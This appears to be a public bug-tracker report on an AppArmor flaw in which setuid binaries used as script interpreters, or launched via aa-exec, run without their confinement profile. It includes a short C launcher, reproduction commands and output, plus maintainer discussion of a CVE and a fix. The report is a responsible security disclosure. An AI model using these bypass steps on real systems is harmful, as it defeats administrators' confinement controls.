AppArmor controls for suid binaries can be bypassed by the caller

Bug #1792595 reported by Jann Horn (corp account)
258
This bug affects 1 person
Affects Status Importance Assigned to Milestone
AppArmor
New
Undecided
Unassigned

Bug Description

Marking this as a security bug for now, since I'm not sure whether this violates an intended security boundary, or whether this is just something you're not supposed to do; feel free to mark it as public+invalid or whatever if this is outside the intended security model.

Normally, when an AppArmor transition from context A to context B occurs on exec, the idea is that context B might be malicious while context A is benign - so context A cooperates with the transition, and context B can't interfere with it because it only runs after the transition.

But a system owner might also attempt to apply AppArmor transitions to the execution of set-user-ID binaries, with the goal of limiting the damage that a malicious context A can do if it escalates its privileges into the more privileged context B. It seems that at least some people believe that AppArmor would be usable in such a context:

https://nnc3.com/mags/LM10/Magazine/Archive/2006/66/066-069_apparmor/article.html:
"For example, the ping command requires root privileges in order to send the special packet formats that it needs. But it is theoretically possible for the process to misuse its root privileges to cause all kinds of trouble. Although ping is a well-behaved program, an attacker capable of hijacking the tool would have unrestricted access to the rest of the system.
AppArmor [1] changes this."

https://www.linuxjournal.com/article/9036 on Novell's use of AppArmor:
"Two types of applications are particularly important to protect: programs that run setuid root (that is, run with root's privileges) and network applications. AppArmor comes preconfigured with profiles for a variety of setuid-root programs and network applications, including Apache, ping, Firefox, Opera, Evolution, sshd, ld, Postfix, Squid and Ethereal."

AppArmor's bprm_set_creds hook only mutates state on its first invocation, meaning that when a script is invoked, it only looks at the script and not at its interpreter:

 if (bprm->called_set_creds)
  return 0;

In contrast, the set-user-ID bit is taken from the interpreter. This means that by creating a script that uses a set-user-ID binary as interpreter, it is possible to execute the interpreter with set-user-ID semantics without triggering a profile transition. Repro:

On Ubuntu 18.04, install the apparmor-profiles package.
Verify that when you run "ping 127.0.0.1", "ping" runs with saved-user-ID 0 and with the ping profile (in complain mode - so for ping on Ubuntu, this actually has no security impact).
Now:

user@ubuntu-18-04-vm:~/blah$ cat launch.c
#include <err.h>
#include <unistd.h>
int main(int argc, char **argv) {
  execv(argv[1], argv+2);
  err(1, "execv");
}
user@ubuntu-18-04-vm:~/blah$ gcc -o launch launch.c
user@ubuntu-18-04-vm:~/blah$ echo '#!/bin/ping' > 127.0.0.1
user@ubuntu-18-04-vm:~/blah$ chmod +x 127.0.0.1
user@ubuntu-18-04-vm:~/blah$ ./launch 127.0.0.1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.034 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.043 ms
[...]

Then, in a second terminal, you can see that ping is running unconfined:

user@ubuntu-18-04-vm:~/blah$ ps auxZ | grep /bin/ping
unconfined user 12969 0.0 0.0 23500 1108 pts/6 S+ 16:56 0:00 /bin/ping 127.0.0.1
unconfined user 12999 0.0 0.0 21536 1084 pts/7 R+ 16:58 0:00 grep --color=auto /bin/ping
user@ubuntu-18-04-vm:~/blah$ cat /proc/12969/status | grep ^Uid
Uid: 1000 1000 0 1000

Revision history for this message
John Johansen (jjohansen) wrote :

yep thats a problem if they are expecting that to work. That being said people are using it this way so we are going to have to request a CVE.

I am still coordinating with suse and debian but I at the moment I expect we will make this bug public next week.

Revision history for this message
John Johansen (jjohansen) wrote :

After investigating this issue further we have determined this is a high priority issue that is also trivial to exploit with the change_profile api

$ aa-exec -vp unconfined -- ping google.com
aa_change_onexec("unconfined")
exec ping google.com
pid: 27666

PING google.com (172.217.20.78) 56(84) bytes of data.
64 bytes from ams15s33-in-f14.1e100.net (172.217.20.78): icmp_seq=1 ttl=51 time=339 ms
...

$ ps -Z 27666
LABEL PID TTY STAT TIME COMMAND
unconfined 27666 pts/4 T 0:00 ping google.com

This behavior matches what is expected for an unconfined user executing their own tasks but is incorrect for applications crossing an unsafe cred boundary.

A proper fix for this is going to require a kernel fix that updates state throughout the bprm search and a userspace component that adds a new component conditional to allow policy to better control transitions around setuid binaries.

Revision history for this message
John Johansen (jjohansen) wrote :

After discussing with ubuntu, suse, and debian representatives we are going to make this bug public. The threat model that they are currently most concerned with is the behavior of the confined application, it is expected that the unconfined user could do things to bypass some apparmor security, as long as it doesn't elevate the users privileges beyond what a linux system using capabilities and dac would allow.

information type: Private Security → Public Security
To post a comment you must log in.
This report contains Public Security information  
Everyone can see this security related information.

Other bug subscribers

Remote bug watches

Bug watches keep track of this bug in other bug trackers.